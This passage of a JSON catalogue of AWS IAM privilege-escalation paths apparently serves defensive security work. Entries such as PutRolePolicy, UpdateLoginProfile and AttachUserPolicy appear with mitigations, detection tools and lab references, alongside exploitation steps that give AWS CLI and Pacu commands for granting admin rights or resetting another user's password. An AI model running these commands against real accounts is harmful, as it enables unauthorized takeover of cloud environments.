          "command": "aws iam put-role-policy \\\n  --role-name @rolename \\\n  --policy-name AdminEscalation \\\n  --policy-document file://escalation_policy.json\n",
          "description": "Attach the inline policy with elevated permissions to the target role"
        },
        {
          "step": 3,
          "command": "aws sts get-caller-identity",
          "description": "Verify the new permissions are active (for self-escalation, credentials remain the same)"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:PutRolePolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it.\n\nUse IAM policy conditions to restrict which roles can have policies attached:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PutRolePolicy\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificRole\"\n}\n```\n\nMonitor use of this sensitive permission using CloudTrail and SIEM detections:\n- Alert on `PutRolePolicy` API calls, especially when the actor and target role are the same (self-escalation)\n- Monitor for policy documents containing broad permissions like `\"Action\": \"*\"`\n- Look for usage anomalies (principals who don't normally use this permission)\n- Review inline policies regularly for overly permissive statements\n",
    "limitations": "This path provides administrative access because the attacker controls the policy document content. The attacker can embed any permissions directly into the principal, guaranteeing administrative access regardless of what policies exist in the environment. However, even limited additional permissions may enable multi-hop attacks.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
      },
      {
        "title": "HackingTheCloud - PutRolePolicy Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamputrolepolicy"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 12",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "iam-007",
      "iam-009",
      "iam-011"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L124",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L423",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L36"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-self-escalation/to-admin/iam-putrolepolicy",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-PutRolePolicy",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamputrolepolicy-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Role",
          "type": "principal",
          "description": "The IAM role with `iam:PutRolePolicy` permission on itself. This role will attach an inline policy to itself to escalate privileges."
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The role successfully attached an inline policy with administrative permissions (Action: \"*\") to itself. The role now has full administrative access to the AWS account."
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "admin",
          "label": "iam:PutRolePolicy on self",
          "description": "The role uses `iam:PutRolePolicy` to attach an inline policy to itself with full administrative permissions. Since the attacker controls the policy document content, they can embed any permissions directly into the role.\n\nCommand:\n```bash\naws iam put-role-policy \\\n  --role-name my-role \\\n  --policy-name AdminEscalation \\\n  --policy-document file://escalation_policy.json\n```\n\nThe policy document contains:\n```json\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Action\": \"*\",\n      \"Resource\": \"*\"\n    }\n  ]\n}\n```\n\nThe credentials remain the same - the role immediately gains the new permissions without needing to assume a different role or create new access keys.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-005.yaml"
  },
  {
    "id": "iam-006",
    "name": "iam:UpdateLoginProfile",
    "category": "principal-access",
    "services": [
      "iam"
    ],
    "description": "Anyone with access to `iam:UpdateLoginProfile` can change the password of any user they have this permission on. This privilege escalation path requires the user to already have a password set (login profile exists). This permission is often abused by one principal to gain access to another principal and the permissions associated with that principal.",
    "prerequisites": {
      "admin": [
        "Target user must already have a login profile (password)",
        "Target user must have administrative permissions (e.g., AdministratorAccess)"
      ],
      "lateral": [
        "Target user must already have a login profile (password)"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam update-login-profile --user-name @username --password @password",
          "description": "Change the password for the target user's console login"
        },
        {
          "step": 2,
          "command": "# Login to AWS Console with the username and new password",
          "description": "Access AWS Console as the target user"
        }
      ],
      "pacu": [
        {
          "step": 1,
          "command": "run iam__backdoor_users_password --usernames [TARGET_USER] --update",
          "description": "Updates the password for a user that already has a password"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:UpdateLoginProfile` using the principle of least privilege. Only allow users to update the password of users they are authorized to manage, most commonly, themselves. Very few principals need this permission on all principals, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.",
    "limitations": "This path provides administrative access only if the target user or group has administrative permissions. The attacker gains whatever permissions the target principal has. If the target has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamcreateloginprofile--iamupdateloginprofile"
      },
      {
        "title": "HackingTheCloud - UpdateLoginProfile Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamupdateloginprofile"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 06",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      },
      {
        "title": "s3cur3.it IAMVulnerable - Part 3",
        "url": "https://s3cur3.it/home/practicing-aws-security-with-iamvulnerable-part-3"
      }
    ],
    "relatedPaths": [
      "iam-002",
      "iam-004"
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-updateloginprofile",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-UpdateLoginProfile",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamupdateloginprofile-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/iam_edges.py#L108",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L114",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L479",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L31"
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with iam:UpdateLoginProfile permission on the target user. Can be an IAM user or role with permission to update the console password of other users.\n"
        },
        {
          "id": "target_user",
          "label": "Existing target-user",
          "type": "principal",
          "description": "The target IAM user whose console password is being changed. Must already have a login profile (console password) configured. The attacker changes this user's password and can then log into the AWS Console as this user, gaining access to all permissions attached to the user.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "Full administrative access to the AWS account when the target user has AdministratorAccess or equivalent permissions.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "The target user has some elevated permissions. Check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "The target user has no interesting permissions beyond what the starting principal already had.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "target_user",
          "label": "iam:UpdateLoginProfile",
          "description": "Execute iam:UpdateLoginProfile to change the console password for the target user. The attacker sets a new password of their choosing and can then log into the AWS Console as the target user using the username and new password.\n\nCommand: `aws iam update-login-profile --user-name @username --password @password`\n"
        },
        {
          "from": "target_user",
          "to": "admin",
          "label": "If user has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target user has AdministratorAccess or equivalent permissions, the attacker gains full administrative access to the account through the AWS Console.\n"
        },
        {
          "from": "target_user",
          "to": "some_perms",
          "label": "If user has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target user has some elevated permissions, check for data access (S3, RDS, DynamoDB) or additional privilege escalation paths.\n"
        },
        {
          "from": "target_user",
          "to": "no_access",
          "label": "If user has no interesting permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target user only has minimal permissions, there may be no meaningful privilege escalation achieved.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:UpdateLoginProfile",
          "resourceConstraints": "Target IAM user must be in the Resource section"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListUsers",
          "resourceConstraints": "Helpful for discovering target users"
        },
        {
          "permission": "iam:GetUser",
          "resourceConstraints": "Useful for viewing user details"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-006.yaml"
  },
  {
    "id": "iam-007",
    "name": "iam:PutUserPolicy",
    "category": "self-escalation",
    "services": [
      "iam"
    ],
    "description": "Anyone with access to `iam:PutUserPolicy` can attach inline policies to any user they have this permission on. This permission is frequently exploited by a principal to grant themselves additional privileges. A principal can also leverage this to escalate the permissions of another principal they can access.",
    "prerequisites": [
      "Principal must be a user (not a role)"
    ],
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam put-user-policy --user-name @username --policy-name @policyname --policy-document file://escalation_policy.json",
          "description": "Attach an inline policy with elevated permissions to the target user"
        },
        {
          "step": 2,
          "command": "aws sts get-caller-identity",
          "description": "Verify the new permissions are active (for self-escalation)"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:PutUserPolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.",
    "limitations": "This path provides administrative access because the attacker controls the policy document content. The attacker can embed any permissions directly into the principal, guaranteeing administrative access regardless of what policies exist in the environment. However, even limited additional permissions may enable multi-hop attacks.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
      },
      {
        "title": "HackingTheCloud - PutUserPolicy Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamputuserpolicy"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 10",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "iam-001",
      "iam-005",
      "iam-008",
      "iam-010"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L122",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L437",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L37"
    },
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "url": "https://docs.datadoghq.com/security/default_rules/7b6-2a8-df9/"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-self-escalation/to-admin/iam-putuserpolicy",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-PutUserPolicy",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamputuserpolicy-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting User",
          "type": "principal",
          "description": "The IAM user with iam:PutUserPolicy permission on itself. The user can attach an inline policy to itself with any permissions, including full administrative access.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The inline policy takes effect immediately. The starting user now has all permissions specified in the new inline policy, including full administrative access if that was included.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "admin",
          "label": "iam:PutUserPolicy",
          "description": "Execute iam:PutUserPolicy to attach an inline policy with administrative permissions to the user itself. The new inline policy takes effect immediately and grants the user any permissions specified in the policy document.\n\nCommand:\n```bash\naws iam put-user-policy --user-name @username --policy-name @policyname --policy-document file://escalation_policy.json\n```\n\nThe user immediately gains all permissions in the policy document, including full administrative access if AdministratorAccess or equivalent permissions were included.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PutUserPolicy",
          "resourceConstraints": "Target user must be in the Resource section. For self-escalation, must have permission on own user."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-007.yaml"
  },
  {
    "id": "iam-008",
    "name": "iam:AttachUserPolicy",
    "category": "self-escalation",
    "services": [
      "iam"
    ],
    "description": "Anyone with access to `iam:AttachUserPolicy` can attach managed policies to any user they have this permission on. This permission is frequently exploited by a principal to grant themselves additional privileges. A principal can also leverage this to escalate the permissions of another principal they can access.",
    "prerequisites": [
      "A managed IAM policy with elevated privileges must exist in the account",
      "Principal must be a user (not a role)"
    ],
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam attach-user-policy --user-name @username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess",
          "description": "Attach the AdministratorAccess managed policy to the target user"
        },
        {
          "step": 2,
          "command": "aws sts get-caller-identity",
          "description": "Verify the new permissions are active (for self-escalation)"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:AttachUserPolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.",
    "limitations": "This path provides administrative access only if an administrative managed policy (e.g., AdministratorAccess) exists in the AWS account. If only limited managed policies are available, the attacker gains access limited to those permissions. However, even limited privilege escalation may enable multi-hop attacks or access to sensitive data.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachuserpolicy--iamattachgrouppolicy"
      },
      {
        "title": "HackingTheCloud - AttachUserPolicy Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamattachuserpolicy"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 07",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "iam-001",
      "iam-007",
      "iam-009",
      "iam-010"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L119",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L190",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L32"
    },
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "url": "https://docs.datadoghq.com/security/default_rules/7b6-2a8-df9/"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-self-escalation/to-admin/iam-attachuserpolicy",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-AttachUserPolicy",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cloudgoat": {
        "type": "open-source",
        "githubLink": "https://github.com/RhinoSecurityLabs/cloudgoat",
        "scenario": "iam_privesc_by_attachment",
        "description": "Deploy vulnerable infrastructure using CloudGoat to practice AWS privilege escalation through policy attachment"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamattachuserpolicy-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting User",
          "type": "principal",
          "description": "The IAM user with iam:AttachUserPolicy permission on themselves. Can attach any existing managed policy in the account to themselves, including AWS managed policies like AdministratorAccess.\n"
        },
        {
          "id": "managed_policy",
          "label": "managed-policy",
          "type": "resource",
          "description": "An existing IAM managed policy in the account. This could be an AWS managed policy (like AdministratorAccess, PowerUserAccess, etc.) or a customer managed policy with elevated permissions. The policy must already exist in the account.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If an administrative managed policy exists (e.g., AdministratorAccess or equivalent custom policy), the user gains full administrative access to the account. The policy takes effect immediately after being attached.\n"
        },
        {
          "id": "some_perms",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the attached managed policy has elevated but non-administrative permissions (e.g., PowerUserAccess, SecurityAudit, custom policies with specific permissions), the user gains those permissions. Check for data access paths or additional privilege escalation opportunities.\n"
        },
        {
          "id": "no_access",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If only minimal or restrictive managed policies exist in the account, there may be no meaningful privilege escalation achieved. The user would still gain the permissions from the attached policy, but they may not provide additional access beyond what the user already had.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "managed_policy",
          "label": "iam:AttachUserPolicy",
          "description": "Execute iam:AttachUserPolicy to attach an existing managed policy to the user. The attacker must identify a managed policy with elevated permissions to attach.\n\nCommand:\n```bash\naws iam attach-user-policy --user-name @username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nThe policy takes effect immediately after being attached. The user gains all permissions specified in the managed policy.\n"
        },
        {
          "from": "managed_policy",
          "to": "admin",
          "label": "If policy has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the attached managed policy is AdministratorAccess or an equivalent custom policy with administrative permissions, the user gains full administrative access to the AWS account. This is the most common and severe outcome.\n"
        },
        {
          "from": "managed_policy",
          "to": "some_perms",
          "label": "If policy has elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the attached managed policy has elevated but non-administrative permissions, the user gains those specific permissions. Examples include PowerUserAccess (excludes IAM), ReadOnlyAccess, SecurityAudit, or custom policies with permissions to specific services. Check for data access or additional escalation paths.\n"
        },
        {
          "from": "managed_policy",
          "to": "no_access",
          "label": "If only minimal policies exist",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the account only has managed policies with minimal or restrictive permissions (e.g., policies that only grant read access to non-sensitive resources), the escalation may not provide meaningful additional access. However, this is rare since AWS managed policies like AdministratorAccess exist in all accounts.\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:AttachUserPolicy",
          "resourceConstraints": "Target user must be in the Resource section. For self-escalation, must have permission on own user."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-008.yaml"
  },
  {
    "id": "iam-009",
    "name": "iam:AttachRolePolicy",
    "category": "self-escalation",
    "services": [
      "iam"
    ],
    "description": "Anyone with access to `iam:AttachRolePolicy` can attach managed policies to any role they have this permission on. This permission is frequently exploited by a principal to grant themselves additional privileges. A principal can also leverage this to escalate the permissions of another principal they can access.",
    "prerequisites": [
      "A managed IAM policy with elevated privileges must exist in the account",
      "Principal must be a role (not a user)"
    ],
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam attach-role-policy --role-name @rolename --policy-arn arn:aws:iam::aws:policy/AdministratorAccess",
          "description": "Attach the AdministratorAccess managed policy to the target role"
        },
        {
          "step": 2,
          "command": "aws sts get-caller-identity",
          "description": "Verify the new permissions are active (for self-escalation)"
        }
      ]
    },
    "recommendation": "Restrict access to `iam:AttachRolePolicy` using the principle of least privilege. Very few principals need this permission, so it should be restricted to only the few principals that need it. Monitor use of this sensitive permission using CloudSIEM detections, and look for usage anomalies.",
    "limitations": "This path provides administrative access only if an administrative managed policy (e.g., AdministratorAccess) exists in the AWS account. If only limited managed policies are available, the attacker gains access limited to those permissions. However, even limited privilege escalation may enable multi-hop attacks or access to sensitive data.",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Spencer Gietzen",
        "organization": "Rhino Security Labs",
        "date": 2019,
        "link": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      }
    },
    "references": [
      {
        "title": "AWS Privilege Escalation Methods and Mitigation",
        "url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
      },
      {
        "title": "HackTricks - AWS - IAM Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamattachrolepolicy--stsassumeroleiamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy"
      },
      {
        "title": "HackingTheCloud - AttachRolePolicy Privilege Escalation",
        "url": "https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamattachrolepolicy"
      },
      {
        "title": "Well, That Escalated Quickly - Privesc 09",
        "url": "https://labs.bishopfox.com/tech-blog/privilege-escalation-in-aws"
      }
    ],
    "relatedPaths": [
      "iam-005",
      "iam-008",
      "iam-011"
    ],
    "detectionTools": {
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L121",
      "pacu": "https://github.com/RhinoSecurityLabs/pacu/blob/50e7ad2d885b7ab4bc130f44b798ca85ed4d7a91/pacu/modules/iam__privesc_scan/main.py#L176",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L34"
    },
    "detectionRules": [
      {
        "platform": "CloudSIEM",
        "url": "https://docs.datadoghq.com/security/default_rules/7b6-2a8-df9/"
      }
    ],
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-self-escalation/to-admin/iam-attachrolepolicy",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "IAM-AttachRolePolicy",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      },
      "cybr": {
        "type": "closed-source",
        "description": "Hosted learning environment with interactive AWS security labs",
        "scenario": "https://cybr.com/courses/iam-privilege-escalation-labs/lessons/lab-ctf-iamattachrolepolicy-privesc/",
        "scenarioPricingModel": "paid"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "starting-role",
          "type": "principal",
          "description": "The IAM role with iam:AttachRolePolicy permission on itself. The role can attach any managed policy to itself, including policies with full administrative access like AdministratorAccess.\n"
        },
        {
          "id": "admin",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "The attached managed policy takes effect immediately. The starting role now has all permissions specified in the attached policy, including full administrative access if AdministratorAccess or an equivalent managed policy was attached.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "admin",
          "label": "iam:AttachRolePolicy",
          "description": "Execute iam:AttachRolePolicy to attach a managed policy with administrative permissions to the role itself. The policy takes effect immediately and grants the role any permissions specified in the managed policy.\n\nCommand:\n```bash\naws iam attach-role-policy --role-name @rolename --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\nThe role immediately gains all permissions from the attached managed policy. Common targets include:\n- arn:aws:iam::aws:policy/AdministratorAccess (full admin access)\n- arn:aws:iam::aws:policy/IAMFullAccess (full IAM permissions)\n- Any custom managed policy with elevated permissions\n"
        }
      ]
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:AttachRolePolicy",
          "resourceConstraints": "Target role must be in the Resource section. For self-escalation, must have permission on own role."
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/iam/iam-009.yaml"
  },
  {
    "id": "iam-010",
    "name": "iam:AttachGroupPolicy",
    "category": "self-escalation",
    "services": [
      "iam"
    ],
    "description": "Anyone with access to `iam:AttachGroupPolicy` can attach managed policies to any group they have this permission on. This permission is frequently exploited by a principal to grant themselves additional privileges by attaching policies to a group they are a member of. A principal can also leverage this to escalate the permissions of other principals in the same group.",
    "prerequisites": [
      "Principal must be a user (not a role)",
      "Principal must be a member of the target group",
